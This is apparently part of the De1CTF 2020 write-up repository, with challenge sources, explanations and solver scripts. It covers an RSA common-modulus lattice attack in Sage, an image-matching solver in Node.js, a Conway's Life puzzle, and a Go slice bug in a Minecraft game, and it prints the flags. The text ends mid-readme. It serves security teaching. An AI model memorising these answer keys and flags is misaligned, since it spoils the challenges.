self.dosend("Something error!\n") 94 | self.request.close() 95 | 96 | def Sign(self): 97 | self.dosend("Please input your data(at most " + str(o) + " bytes):\n") 98 | data = self.pad(self.recvall(o+1)) 99 | self.Check(data) 100 | result = self.ov.sign(data) 101 | self.dosend("The result is: \n") 102 | self.dosend(str(result) + "\n") 103 | 104 | def Verify(self): 105 | self.dosend("Please input your data:\n") 106 | data = self.pad(self.recvall(o+1)) 107 | H = self.ov.hashFunction(data) 108 | self.dosend("Please input your sign data(Separated by commas):\n") 109 | s = (self.recvall(n*5)).split(",") 110 | s = [int(i) for i in s] 111 | result = self.ov.verify(s,H) 112 | self.dosend("The result is: \n") 113 | self.dosend(str(result) + "\n") 114 | 115 | def GetFlag(self): 116 | self.dosend("Please input the sign data of \"" + COMMAND + "\"(Separated by commas):\n") 117 | s = (self.recvall(n*5)).split(",") 118 | s = [int(i) for i in s] 119 | H = self.ov.hashFunction(COMMAND) 120 | result = self.ov.verify(s,H) 121 | if result == True: 122 | self.dosend('Wow! How smart you are! Here is your flag:\n') 123 | self.dosend(flag) 124 | else: 125 | self.dosend('Sorry you are wrong.\n') 126 | exit(0) 127 | 128 | 129 | def Check(self,m): 130 | if m == COMMAND: 131 | self.dosend("No no no! Your can't do this\n") 132 | exit(0) 133 | 134 | 135 | class ForkedServer(SocketServer.ForkingTCPServer, SocketServer.TCPServer): 136 | pass 137 | 138 | 139 | if __name__ == "__main__": 140 | HOST, PORT = "0.0.0.0", 8848 141 | server = ForkedServer((HOST, PORT), Task) 142 | server.allow_reuse_address = True 143 | server.serve_forever() -------------------------------------------------------------------------------- /writeup/crypto/easyRSA/WP.md: -------------------------------------------------------------------------------- 1 | ## easyRSA 2 | 3 | This is a common modules attack but when the task is about end someone tell me that this challenge is same as the challenge in D^3CTF [Common](https://github.com/D-3CTF/D3CTF-2019-Challenges). Last year I didn't look at the crypto challenge in this task. So I want to make a sincere apology to the person, [Lurkrul](https://gist.github.com/LurkNoi) ,who made the challenge. Sorry about this. 4 | 5 | And here is the solution: 6 | 7 | In this a RSA task. We can find out that the e has been generated by this way: 8 | $$ 9 | e_1d_1 = 1 + k_1\lambda(N) 10 | $$ 11 | 12 | $$ 13 | e_2d_2 = 1 + k_2\lambda(N) 14 | $$ 15 | 16 | And there are some limits: 17 | $$ 18 | limit = \sqrt[3]{N} 19 | $$ 20 | 21 | $$ 22 | limit < r < 0x1000000000001 * limit 23 | $$ 24 | 25 | $$ 26 | d_i = nextPrime(r) 27 | $$ 28 | 29 | $$ 30 | e_i \approx N 31 | $$ 32 | 33 | We choose a random $e$ in $[e_1$ , $e_2]$ to encrypt flag, 34 | $$ 35 | flag^{e} \equiv cipher \pmod n 36 | $$ 37 | And give these parameters: 38 | $$ 39 | N,e1,e2,cipher 40 | $$ 41 | In this task, we can get some equation: 42 | $$ 43 | e_id_i = 1 + k_i \lambda(N) = 1 + \frac {k_i}{g} \Phi(N) = 1 + \frac {k_i}{g} (N-s) 44 | $$ 45 | And we rewrite it as: 46 | $$ 47 | W_i: e_id_ig - k_iN = g - k_is 48 | $$ 49 | This equation is the starting point for Wiener's attack. 50 | 51 | Also we can get this easily: 52 | $$ 53 | G_{i,j}: k_ie_jd_j - k_je_id_i = k_i - k_j 54 | $$ 55 | This equation is the starting point for Guo's common modulus attack. 56 | 57 | Then we assume: 58 | $$ 59 | k_2W_1: k_2e_1d_1g - k_2k_1N = k_2(g-k_1s) 60 | $$ 61 | 62 | $$ 63 | gG_{1,2} : k_1e_2d_2g - k_2e_1d_1g = g(k_1-k_2) 64 | $$ 65 | 66 | $$ 67 | W_1W_2 : d_1d_2g^2e_1e_2 - d_1k_2ge_1N - d_2k_1ge_2N + k_1k_2N^2 = (g-k_1s)(g-k_2s) 68 | $$ 69 | 70 | Along with the trivial equation: 71 | $$ 72 | k1k2 = k2k1 73 | $$ 74 | can be written as the vector-matrix equation: 75 | $$ 76 | x_2B_2 = v_2 77 | $$ 78 | where: 79 | $$ 80 | x_2 = (k_1k_2,k_2d_1g,k_1d_2g,d_1d_2g^2) 81 | $$ 82 | 83 | $$ 84 | B_2 = \begin{bmatrix}1 & -N & 0 & N^2 \\ & e_1 & - e_1 & -e_1N\\ & & e_2 & -e_2N \\ & & & e_1e_2\end{bmatrix} 85 | $$ 86 | 87 | $$ 88 | v_2 = (k_1k_2,k_2(g-k_1s),g(k_1-k_2),(g-k_1s)(g-k_2s)) 89 | $$ 90 | 91 | The vector $v_2$ is an integer linear combination of the rows in $B_2$, and is therefore a vector in the lattice $L_2$generated by the rows of $B_2$. 92 | 93 | And the size of $v_2$, coming from the dominant last component, is roughly 94 | $$ 95 | k_1k_2s^2 \approx N^{2\delta_2+1} = N^{2(\delta_2+1/2)} 96 | $$ 97 | 98 | $$ 99 | \delta_2 = 0.357 - \epsilon \ , \ \epsilon \ is \ small 100 | $$ 101 | 102 | Since the components of $v_2$ are not the same size, we can consider the modified vector-matrix equation: 103 | $$ 104 | x_2B_2D_2 = v_2D_2 105 | $$ 106 | Where $D_2$ is the diagonal matrix: 107 | $$ 108 | D_2 = \begin{bmatrix}N & & & \\ & N^{(1/2)} & & \\ & & N^{1+\delta_2} & \\ & & & 1\end{bmatrix} 109 | $$ 110 | Letting: 111 | $$ 112 | v^{'}_2 = v_2D_2 113 | $$ 114 | Thus: 115 | $$ 116 | v^{'}_2 = (k_1k_2N,k2(g-k_1s)N^{(1/2)},g(k_1-k_2)N^{1+\delta_2},(g-k_1s)(g-k_2s)) 117 | $$ 118 | We can use LLL to get $v^{'}_2$ and solve: 119 | $$ 120 | x_2B_2D_2 = v^{'}_2 121 | $$ 122 | to get $x_2$ 123 | 124 | Finally we can get $\Phi(N)$ by: 125 | $$ 126 | \Phi(N) = \lfloor {e_1 \frac {x_2[2]}{x_2[1]}}\rfloor 127 | $$ 128 | So we can decrypt the cipher to get flag ! 129 | 130 | 131 | 132 | If you want to know more details about this attack, take a look at this [paper](https://sci-hub.tw/https://link.springer.com/chapter/10.1007/3-540-46701-7_14). 133 | 134 | 135 | 136 | Reference: 137 | 138 | https://sci-hub.tw/https://link.springer.com/chapter/10.1007/3-540-46701-7_14 139 | 140 | https://eprint.iacr.org/2009/037.pdf 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | -------------------------------------------------------------------------------- /writeup/crypto/easyRSA/source code/FLAG.py: -------------------------------------------------------------------------------- 1 | flag = 'De1CTF{4ef5e5b2-c169-47e2-b90e-9421c56f2f5e}' -------------------------------------------------------------------------------- /writeup/crypto/easyRSA/source code/data.txt: -------------------------------------------------------------------------------- 1 | N: 24402191928494981635640497435944050736451453218629774561432653700273120014058697415669445779441226800209154604159648942665855233706977525093135734838825433023506185915211877990448599462290859092875150657461517275171867229282791419867655722945527203477335565212992510088077874648530075739380783193891617730212062455173395228143660241234491822044677453330325054451661281530021397747260054593565182679642519767415355255125571875708238139022404975788807868905750857687120708529622235978672838872361435045431974203089535736573597127746452000608771150171882058819685487644883286497700966396731658307013308396226751130001733 2 | e1: 4046316324291866910571514561657995962295158364702933460389468827072872865293920814266515228710438970257021065064390281148950759462687498079736672906875128944198140931482449741147988959788282715310307170986783402655196296704611285447752149956531303574680859541910243014672391229934386132475024308686852032924357952489090295552491467702140263159982675018932692576847952002081478475199969962357685826609238653859264698996411770860260854720047710943051229985596674736079206428312934943752164281391573970043088475625727793169708939179742630253381871307298938827042259481077482527690653141867639100647971209354276568204913 3 | e2: 1089598671818931285487024526159841107695197822929259299424340503971498264804485187657064861422396497630013501691517290648230470308986030853450089582165362228856724965735826515693970375662407779866271304787454416740708203748591727184057428330386039766700161610534430469912754092586892162446358263283169799095729696407424696871657157280716343681857661748656695962441400433284766608408307217925949587261052855826382885300521822004968209647136722394587701720895365101311180886403748262958990917684186947245463537312582719347101291391169800490817330947249069884756058179616748856032431769837992142653355261794817345492723 4 | cipher: 5089249888618459947548074759524589606478578815336059949176718157024022678024841758856813241335191315643869492784030633661717346809979076682611760035885176766380484743187692409876479000444892361744552075578050587677106211969169204446554196613453202059517114911102484740265052582801216204900709316109336061861758409342194372241877343837978525533125320239702501424169171652846761028157198499078668564324989313965631396082388643288419557330802071756151476264735731881236024649655623821974147680672733406877428067299706347289297950375309050765330625591315867546015398294367460744885903257153104507066970239487158506328863 5 | -------------------------------------------------------------------------------- /writeup/crypto/easyRSA/source code/exp.sage: -------------------------------------------------------------------------------- 1 | N = 24402191928494981635640497435944050736451453218629774561432653700273120014058697415669445779441226800209154604159648942665855233706977525093135734838825433023506185915211877990448599462290859092875150657461517275171867229282791419867655722945527203477335565212992510088077874648530075739380783193891617730212062455173395228143660241234491822044677453330325054451661281530021397747260054593565182679642519767415355255125571875708238139022404975788807868905750857687120708529622235978672838872361435045431974203089535736573597127746452000608771150171882058819685487644883286497700966396731658307013308396226751130001733 2 | e1 = 4046316324291866910571514561657995962295158364702933460389468827072872865293920814266515228710438970257021065064390281148950759462687498079736672906875128944198140931482449741147988959788282715310307170986783402655196296704611285447752149956531303574680859541910243014672391229934386132475024308686852032924357952489090295552491467702140263159982675018932692576847952002081478475199969962357685826609238653859264698996411770860260854720047710943051229985596674736079206428312934943752164281391573970043088475625727793169708939179742630253381871307298938827042259481077482527690653141867639100647971209354276568204913 3 | e2 = 1089598671818931285487024526159841107695197822929259299424340503971498264804485187657064861422396497630013501691517290648230470308986030853450089582165362228856724965735826515693970375662407779866271304787454416740708203748591727184057428330386039766700161610534430469912754092586892162446358263283169799095729696407424696871657157280716343681857661748656695962441400433284766608408307217925949587261052855826382885300521822004968209647136722394587701720895365101311180886403748262958990917684186947245463537312582719347101291391169800490817330947249069884756058179616748856032431769837992142653355261794817345492723 4 | cipher = 5089249888618459947548074759524589606478578815336059949176718157024022678024841758856813241335191315643869492784030633661717346809979076682611760035885176766380484743187692409876479000444892361744552075578050587677106211969169204446554196613453202059517114911102484740265052582801216204900709316109336061861758409342194372241877343837978525533125320239702501424169171652846761028157198499078668564324989313965631396082388643288419557330802071756151476264735731881236024649655623821974147680672733406877428067299706347289297950375309050765330625591315867546015398294367460744885903257153104507066970239487158506328863 5 | 6 | B = Matrix([ 7 | [1, -N, 0, N^2], 8 | [0, e1, -e1, -e1*N], 9 | [0, 0, e2, -e2*N], 10 | [0, 0, 0, e1*e2] 11 | ]) 12 | 13 | x = 0.355 14 | 15 | D = Matrix([ 16 | [N, 0, 0, 0], 17 | [0, int(N^(1/2)), 0, 0], 18 | [0, 0, int(N^(1+x)), 0], 19 | [0, 0, 0, 1] 20 | 21 | ]) 22 | 23 | res = B*D 24 | lll = res.LLL() 25 | y = lll[0] 26 | inv = res.inverse() 27 | x = y*inv 28 | phi = int(e1*int(x[1]))/int(x[0]) 29 | 30 | bezout = xgcd(e1, phi) 31 | d1 = Integer(mod(bezout[1], phi)) 32 | plain1 = pow(cipher,d1,N) 33 | flag = hex(int(plain1))[2:-1].decode('hex') 34 | print flag 35 | 36 | ''' 37 | bezout = xgcd(e2, phi) 38 | d2 = Integer(mod(bezout[1], phi)) 39 | plain2 = pow(cipher,d2,N) 40 | flag = hex(int(plain2))[2:-1].decode('hex') 41 | print flag 42 | ''' -------------------------------------------------------------------------------- /writeup/crypto/easyRSA/source code/task.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | import gmpy2 3 | import random 4 | from FLAG import flag 5 | 6 | def genE(lcm,limit): 7 | while True: 8 | r = random.randint(limit,limit*0x1000000000001) 9 | d = gmpy2.next_prime(r) 10 | e = gmpy2.invert(d,lcm) 11 | if isPrime(e): 12 | break 13 | return e 14 | 15 | p = getStrongPrime(1024) 16 | q = getStrongPrime(1024) 17 | n = p*q 18 | lcm = gmpy2.lcm(p-1,q-1) 19 | limit = gmpy2.iroot(n,3)[0] 20 | 21 | e1 = genE(lcm,limit) 22 | e2 = genE(lcm,limit) 23 | 24 | phi = (p-1)*(q-1) 25 | d1 = gmpy2.invert(e1,phi) 26 | d2 = gmpy2.invert(e2,phi) 27 | 28 | e = [e1,e2] 29 | plain = bytes_to_long(flag) 30 | cipher = pow(plain,e[random.getrandbits(1)],n) 31 | 32 | print('N:' + str(n)) 33 | print('e1:' + str(e1)) 34 | print('e2:' + str(e2)) 35 | print('cipher:' + str(cipher)) 36 | -------------------------------------------------------------------------------- /writeup/crypto/mc_noisemap/exp.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @Author: impakho 3 | * @Date: 2020/04/14 4 | * @Github: https://github.com/impakho 5 | */ 6 | 7 | const http = require('http'); 8 | const path = require('path'); 9 | const fs = require('fs'); 10 | const gen = require('random-seed'); 11 | const { Cluster } = require('puppeteer-cluster'); 12 | const sharp = require('sharp'); 13 | 14 | const IMAGE_NUM = 32; 15 | const GEN_TIME = 1587019061; 16 | const PORT = 80; 17 | 18 | var reqWhiteList = [ 19 | '/assets/jquery.min.js', 20 | '/assets/noisemap.js', 21 | '/assets/p5.dom.js', 22 | '/assets/p5.js' 23 | ]; 24 | 25 | function reqFile(res, pathname, html) { 26 | fs.readFile(pathname, 27 | function (err, data) { 28 | if (err) { 29 | res.writeHead(404); 30 | return res.end('404 not found'); 31 | } 32 | 33 | var ext = path.extname(pathname); 34 | 35 | var typeExt = { 36 | '.html': 'text/html', 37 | '.js': 'text/javascript', 38 | '.css': 'text/css' 39 | }; 40 | 41 | var contentType = typeExt[ext] || 'text/plain'; 42 | 43 | res.writeHead(200, { 'Content-Type': contentType }); 44 | res.write(data); 45 | res.end(html); 46 | } 47 | ); 48 | } 49 | 50 | function handleRequest(req, res) { 51 | var pathname = req.url; 52 | //console.log(pathname); 53 | 54 | if (reqWhiteList.includes(pathname)) { 55 | var html = ''; 56 | 57 | reqFile(res, 'www' + pathname, html); 58 | return; 59 | } 60 | 61 | if (pathname.substring(0, 10) === "/map?seed=") { 62 | var seed = pathname.substring(10); 63 | 64 | seed = parseInt(seed); 65 | 66 | var html = ''; 67 | 68 | html = ''; 69 | 70 | reqFile(res, 'www/map.html', html); 71 | return; 72 | } 73 | 74 | res.writeHead(404); 75 | res.end('404 not found'); 76 | } 77 | 78 | var server = http.createServer(handleRequest); 79 | server.listen(PORT); 80 | 81 | function getHash(img_data) { 82 | var data = [...img_data]; 83 | var offset = 0; 84 | var hash1 = []; 85 | while (true) { 86 | offset += 520 * 8 * 3; 87 | if (offset + 520 * 3 > data.length) break; 88 | hash1 = hash1.concat(data.slice(offset, offset + 520 * 3)); 89 | } 90 | var hash2 = []; 91 | for (var i = 0; i < hash1.length / 64; i++) { 92 | hash2.push(hash1[i * 64]); 93 | } 94 | return hash2; 95 | } 96 | 97 | function hashCompare(hash1, hash2) { 98 | var length = hash1.length < hash2.length ? hash1.length : hash2.length; 99 | var distance = 0; 100 | for (var i = 0; i < length; i++) { 101 | var diff = hash1[i] ^ hash2[i]; 102 | for (var j = 0; j < 8; j++) { 103 | distance += diff & 1; 104 | diff >>= 1; 105 | } 106 | } 107 | return distance; 108 | } 109 | 110 | var img_modify = {}; 111 | 112 | for (var i = 0; i < IMAGE_NUM; i++) { 113 | var data = fs.readFileSync('maps/' + i + '.webp'); 114 | (async () => { 115 | img_modify[i] = getHash(await sharp(data).raw().toBuffer()); 116 | })(); 117 | } 118 | 119 | var img_origin = {}; 120 | 121 | (async () => { 122 | const cluster = await Cluster.launch({ 123 | concurrency: Cluster.CONCURRENCY_PAGE, 124 | maxConcurrency: 4, 125 | puppeteerOptions: { 126 | defaultViewport: { 127 | width: 520, 128 | height: 520 129 | } 130 | } 131 | }); 132 | 133 | await cluster.task(async ({ page, data }) => { 134 | await page.goto('http://127.0.0.1:' + PORT + '/map?seed=' + data.seed); 135 | img_origin[data.id] = getHash(await sharp(await page.screenshot()).removeAlpha().webp().raw().toBuffer()); 136 | }); 137 | 138 | for (var i = 0; i < 0x10000; i++) { 139 | cluster.queue({id: i, seed: i}); 140 | } 141 | 142 | await cluster.idle(); 143 | await cluster.close(); 144 | 145 | await compareAll(); 146 | })(); 147 | 148 | function isPrintable(char) { 149 | if (char >= 0x20 && char < 0x7f) return true; 150 | return false; 151 | } 152 | 153 | function groupsToPlain(groups, time) { 154 | while (true) { 155 | var rand = gen.create(time); 156 | var items = []; 157 | for (var i = 0; i < groups.length; i++) { 158 | var item = []; 159 | var r1 = rand.range(0x100); 160 | var r2 = rand.range(0x100); 161 | var low = groups[i] & 0xff; 162 | var high = (groups[i] >> 8) & 0xff; 163 | var a1 = (high + low) / 2; 164 | var a2 = ((high + low + 0x100) / 2) & 0xff; 165 | if (a1 < 0x100) { 166 | var b1 = a1 + low; 167 | var b2 = (a1 - low) & 0xff; 168 | if (b1 < 0x100 && ((b1 + a1) & 0xff) == high) { 169 | if (isPrintable(b1 ^ r1) && isPrintable(a1 ^ r2)) item.push([b1 ^ r1, a1 ^ r2]); 170 | } 171 | if (b2 < 0x100 && ((b2 + a1) & 0xff) == high) { 172 | if (isPrintable(b2 ^ r1) && isPrintable(a1 ^ r2)) item.push([b2 ^ r1, a1 ^ r2]); 173 | } 174 | } 175 | if (a2 < 0x100) { 176 | var b1 = a2 + low; 177 | var b2 = (a2 - low) & 0xff; 178 | if (b1 < 0x100 && ((b1 + a2) & 0xff) == high) { 179 | if (isPrintable(b1 ^ r1) && isPrintable(a2 ^ r2)) item.push([b1 ^ r1, a2 ^ r2]); 180 | } 181 | if (b2 < 0x100 && ((b2 + a2) & 0xff) == high) { 182 | if (isPrintable(b2 ^ r1) && isPrintable(a2 ^ r2)) item.push([b2 ^ r1, a2 ^ r2]); 183 | } 184 | } 185 | if (item.length <= 0) break; 186 | items.push(item); 187 | } 188 | if (items.length == groups.length) { 189 | return items; 190 | } 191 | time++; 192 | } 193 | } 194 | 195 | function formatPlain(plain) { 196 | var all = ''; 197 | for (var i = 0; i < plain.length; i++) { 198 | var each = ''; 199 | for (var j = 0; j < plain[i].length; j++) { 200 | if (each != '') each += '/'; 201 | each += String.fromCharCode(plain[i][j][0]) 202 | each += String.fromCharCode(plain[i][j][1]) 203 | } 204 | if (each.indexOf('/') != -1 && i != plain.length - 1) each += ','; 205 | all += each; 206 | } 207 | return all; 208 | } 209 | 210 | function compareAll() { 211 | var groups = []; 212 | for (var i = 0; i < IMAGE_NUM; i++) { 213 | var min_match = -1; 214 | var min_diff = 0xffffffff; 215 | for (var j = 0; j < 0x10000; j++) { 216 | var diff = hashCompare(img_origin[j], img_modify[i]); 217 | if (diff < min_diff) { 218 | min_match = j; 219 | min_diff = diff; 220 | } 221 | if (diff == 0) break; 222 | } 223 | groups.push(min_match); 224 | } 225 | console.log(groups); 226 | var plain = groupsToPlain(groups, GEN_TIME); 227 | console.log(plain); 228 | console.log(formatPlain(plain)); 229 | } 230 | 231 | function readProgress() { 232 | console.log(Object.keys(img_origin).length + ' / ' + 0x10000); 233 | if (Object.keys(img_origin).length < 0x10000) { 234 | setTimeout(readProgress, 500); 235 | } 236 | } 237 | 238 | setTimeout(readProgress, 500); -------------------------------------------------------------------------------- /writeup/crypto/mc_noisemap/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "noisemap_exp", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "exp.js", 6 | "dependencies": { 7 | "puppeteer": "^2.1.1", 8 | "puppeteer-cluster": "^0.20.0", 9 | "random-seed": "^0.3.0", 10 | "sharp": "^0.25.2" 11 | }, 12 | "devDependencies": {}, 13 | "scripts": { 14 | "test": "echo \"Error: no test specified\" && exit 1" 15 | }, 16 | "author": "impakho", 17 | "license": "MIT" 18 | } 19 | -------------------------------------------------------------------------------- /writeup/crypto/mc_noisemap/readme.md: -------------------------------------------------------------------------------- 1 | ## crypto - mc_noisemap 2 | 3 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 4 | 5 | The challenge is about `Image Identification`, modified basing on [erdavids/Hex-Map](https://github.com/erdavids/Hex-Map). 6 | 7 | My solution is not perfect. Perhaps there are some good ways to solve the challenge, I believe. 8 | 9 | Just have a check on the exploit file `exp.js`. 10 | 11 | `De1CTF{MCerrr_L0v3_P3r1iN_N0IsE-M4p?}` 12 | 13 | ## crypto - mc_noisemap 14 | 15 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 16 | 17 | 出题时了解到 noise map 的东西,在很多游戏里都用到,包括mc。由于比较懒,查了一下,找到一个开源轮子 [erdavids/Hex-Map](https://github.com/erdavids/Hex-Map),想想可以做个图像识别的题。 18 | 19 | 应该会有更好的解法,就不多说了,详情见 `exp.js` 吧。 20 | 21 | `De1CTF{MCerrr_L0v3_P3r1iN_N0IsE-M4p?}` -------------------------------------------------------------------------------- /writeup/crypto/mc_noisemap/www/assets/noisemap.js: -------------------------------------------------------------------------------- 1 | p5.disableFriendlyErrors = true; 2 | 3 | const opts = { 4 | // Generation Details 5 | height: 500, 6 | tile_size: 5, 7 | outline: false, 8 | outline_width: 1, 9 | noise_mod: 1, 10 | noise_scale: .01, 11 | noise_max: 120, 12 | island_size: .62, 13 | 14 | // Initial Colors 15 | dark_water: [120, 120, 225], // RGB array 16 | light_water: [150, 150, 255], 17 | sand: [237, 201, 175], 18 | grass: [207, 241, 135], 19 | forest: [167, 201, 135], 20 | rocks: [170, 170, 170], 21 | snow: [255, 255, 255], 22 | outline_color: '#918585', 23 | 24 | // Initial Height Ranges 25 | snow_height: .9, 26 | rocks_height:.6, 27 | forest_height:.49, 28 | grass_height: .36, 29 | sand_height: .26, 30 | light_water_height: .23, 31 | dark_water_height: .13, 32 | 33 | }; 34 | 35 | function setup() 36 | { 37 | noiseSeed(seed) 38 | 39 | var canvasDiv = document.getElementById('sketchdiv'); 40 | var width = canvasDiv.offsetWidth; 41 | var height = opts.height; 42 | 43 | pixelDensity(2); 44 | 45 | var cnv = createCanvas(width, height); 46 | cnv.parent('sketchdiv'); 47 | 48 | background(255) 49 | strokeWeight(1); 50 | stroke(0); 51 | 52 | draw_hexagon(30, 30, 30, 3); 53 | 54 | var hexagon_size = opts.tile_size 55 | 56 | // var map_height = 8 57 | // var map_width = 7 58 | var map_height = int(1.5 * height / (.86 * hexagon_size)) 59 | var map_width = int(1.5 * width / (hexagon_size * 3)) 60 | 61 | var hex_map = [] 62 | for(i = 0; i < map_height ; i++) { 63 | hex_map.push([]) 64 | } 65 | 66 | var y = 0 67 | var x = 0 68 | 69 | for (i = 0; i < map_height; i++) { 70 | y = i * (.86 * hexagon_size) 71 | for (j = 0; j < map_width; j++) { 72 | if (i%2 == 0) { 73 | x = j * (hexagon_size * 3) 74 | } else { 75 | x = (hexagon_size * 1.5) + j * (hexagon_size * 3) 76 | } 77 | 78 | // Calculate initial noise value 79 | let noiseVal = noise((x / opts.noise_mod)*opts.noise_scale, (y / opts.noise_mod)*opts.noise_scale); 80 | 81 | 82 | // Adjust for distance if desired 83 | let dist = sqrt(pow((x - width/2), 2) + pow((y - height/2), 2)) 84 | let grad = dist / (opts.island_size * min(width, height)) 85 | 86 | noiseVal -= pow(grad, 3) 87 | noiseVal = max(noiseVal, 0) 88 | 89 | hex_map[i].push([x, y, noiseVal]) 90 | } 91 | } 92 | 93 | for (r = 0; r < hex_map.length; r++) { 94 | for (c = 0; c < hex_map[r].length; c++) { 95 | var t = hex_map[r][c] 96 | draw_hexagon(t[0], t[1], hexagon_size, t[2], 0) 97 | } 98 | } 99 | 100 | } 101 | 102 | function draw_hexagon(x, y, side, n, h) { 103 | let v = int(n * 255.0) 104 | let c; 105 | if (v < opts.dark_water_height * 255) { 106 | c = opts.dark_water; 107 | } else if(v < opts.light_water_height * 255) { 108 | c = opts.light_water; 109 | } else if (v < opts.sand_height * 255) { 110 | c = opts.sand; 111 | } else if (v < opts.grass_height * 255) { 112 | c = opts.grass 113 | } else if (v < opts.forest_height * 255) { 114 | c = opts.forest; 115 | } else if (v < opts.rocks_height * 255) { 116 | c = opts.rocks; 117 | } else { 118 | c = opts.snow; 119 | } 120 | 121 | fill(c) 122 | 123 | strokeWeight(opts.outline_width); 124 | if (opts.outline) { 125 | stroke(opts.outline_color); 126 | } else { 127 | stroke(c) 128 | } 129 | 130 | beginShape() 131 | vertex(x + side * sin(PI/2), y + side * cos(PI/2) - h) 132 | vertex(x + side * sin(PI/6), y + side * cos(PI/6) - h) 133 | vertex(x + side * sin(11 * PI/6), y + side * cos(11 * PI/6) - h) 134 | vertex(x + side * sin(3 * PI/2), y + side * cos(3 * PI/2) - h) 135 | vertex(x + side * sin(7 * PI/6), y + side * cos(7 * PI/6) - h) 136 | vertex(x + side * sin(5 * PI/6), y + side * cos(5 * PI/6) - h) 137 | endShape(CLOSE) 138 | 139 | } -------------------------------------------------------------------------------- /writeup/crypto/mc_noisemap/www/map.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | -------------------------------------------------------------------------------- /writeup/misc/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/misc/.gitkeep -------------------------------------------------------------------------------- /writeup/misc/life/README.md: -------------------------------------------------------------------------------- 1 | ## Life 2 | No Game No Life! 3 | 4 | ![87821588769450_.pic_hd.jpg](https://i.loli.net/2020/05/06/BWRS5XzCgJfqh9o.jpg) 5 | 6 | ### Hints 7 | 1. Game of Life. 8 | 9 | ### Flag 10 | De1CTF{l3t_us_s7art_th3_g4m3!} 11 | 12 | ### Solution 13 | 1. Separate zip from jpg; 14 | 2. There is a monochrome in the zip file, and another encrypted zip; 15 | 3. Use the monochrome as the input to the Conway life game for the first round, you will get a qrcode, scan and you the get the password for the zip; 16 | 4. Unzip, and you will get a plain text file 17 | 5. Reverse the text in the pilf.txt, base64 decode , reverse, HEX to ASCII and you will get the flag 18 | 19 | ### Note 20 | The main problem of this game is hard to froge the data to the Conway Life Game. And I presume that machine learning maybe helpful 21 | 22 | So Conway Life game will be the trap for player. -------------------------------------------------------------------------------- /writeup/misc/life/README_cn.md: -------------------------------------------------------------------------------- 1 | ## Life 2 | No Game No Life! 3 | 4 | ![87821588769450_.pic_hd.jpg](https://i.loli.net/2020/05/06/BWRS5XzCgJfqh9o.jpg) 5 | 6 | ### Hints 7 | 1. Game of Life. 8 | 9 | ### Flag 10 | De1CTF{l3t_us_s7art_th3_g4m3!} 11 | 12 | ### Solution 13 | 1. 从jpg中分离出题目本体的zip; 14 | 2. zip内含一张黑白图片,以及另一个加密的zip; 15 | 3. 将黑白图片作为康威生命游戏的输入跑一回合,得到qrcode,扫码得到zip的密码; 16 | 4. 解压zip,内含一个文本文件; 17 | 5. 将pilf.txt中的文本反转,debase64,再反转,HEX to ASCII,得到flag. 18 | 19 | ### Note 20 | 这玩意主要是数据很难造,我花了好几天也没整出来怎么逆康威生命游戏状态,搜了一下好像是要ML。 21 | 22 | ~~不如直接把逆康威生命游戏出成一道炼丹题~~ 23 | 24 | 现在用的密码是之前某次decoding时见到的,我把它反色过了所以直接搜是搜不出来的。 25 | 26 | 如果剩下几天能整出来的话就换个图。 -------------------------------------------------------------------------------- /writeup/misc/life/attachment/game.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/misc/life/attachment/game.jpg -------------------------------------------------------------------------------- /writeup/misc/mc_champion/readme.md: -------------------------------------------------------------------------------- 1 | ## misc - mc_champion 2 | 3 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 4 | 5 | The Minecraft game is modified basing on [TyphoonMC/TyphoonLimbo](https://github.com/TyphoonMC/TyphoonLimbo). 6 | 7 | When you login to the game, you are in the Limbo World. Nothing you can do except chatting with other players. After fuzzing, it's not difficult to find out the `/help` command. 8 | 9 | ``` 10 | [ADMIN] 11 | /help -> show the usage 12 | /uuid -> show your uuid 13 | /status -> show your status 14 | /items -> show your items 15 | /exchange -> make some exchange 16 | /shop -> list all category 17 | /shop [category_id] -> list items in category 18 | /buy [item_id] -> buy the item 19 | /use [item_id] -> use your item 20 | /attack -> attack the BOSS 21 | ``` 22 | 23 | Player's items are stored in a golang slice. Each item has five attributes listed below. After a fuzzing, you may figure it out. 24 | 25 | > Price / Attack / Shield / HP / Food / XP 26 | 27 | The vulnerable function is located in `exhcange` -> `random sell`. It triggles a `pop from slice` liked function which return result in bad sequence caused wrong item pop out. 28 | 29 | ``` 30 | func slicePop(s []int, i uint) (r []int, e int) { 31 | if len(s) == 0 { 32 | return []int{}, -1 33 | }else if len(s) == 1 { 34 | return []int{}, s[0] 35 | } 36 | if i >= uint(len(s)) { 37 | return s[1:], s[0] 38 | } 39 | return append(s[:i], s[i + 1:]...), s[i] 40 | } 41 | ``` 42 | 43 | Our goal is earning enough money (more than $200) and using a TNT to defeat the boss. 44 | 45 | Want more details? Have a look on the exploit `exp.go` written in golang. 46 | 47 | After won the game, we got the `Encoded Message`. Simply have a `Base32 Decode`. We got Flag Two of this challenge and a hidden command `/MC2020-DEBUG-VIEW:-)`. Next challenge, we will use this command. 48 | 49 | `De1CTF{S3cur3_UsAG3_0f-GO_Slice~}` 50 | 51 | ## misc - mc_champion 52 | 53 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 54 | 55 | 此题基于轮子 [TyphoonMC/TyphoonLimbo](https://github.com/TyphoonMC/TyphoonLimbo) 魔改而来。 56 | 57 | 由于这个轮子的原因,所以数据包与市面上的MC客户端不是特别兼容,会经常掉线,尤其是网络不好的情况。所以这题建议模拟 `1.12` 通讯协议,实现通讯。 58 | 59 | 当你进入游戏,此时处于虚空时间,除了对话,其他功能都无法使用。熟悉命令行的选手,不难发现 `/help` 命令,这是一个文字游戏。 60 | 61 | ``` 62 | [ADMIN] 63 | /help -> show the usage 64 | /uuid -> show your uuid 65 | /status -> show 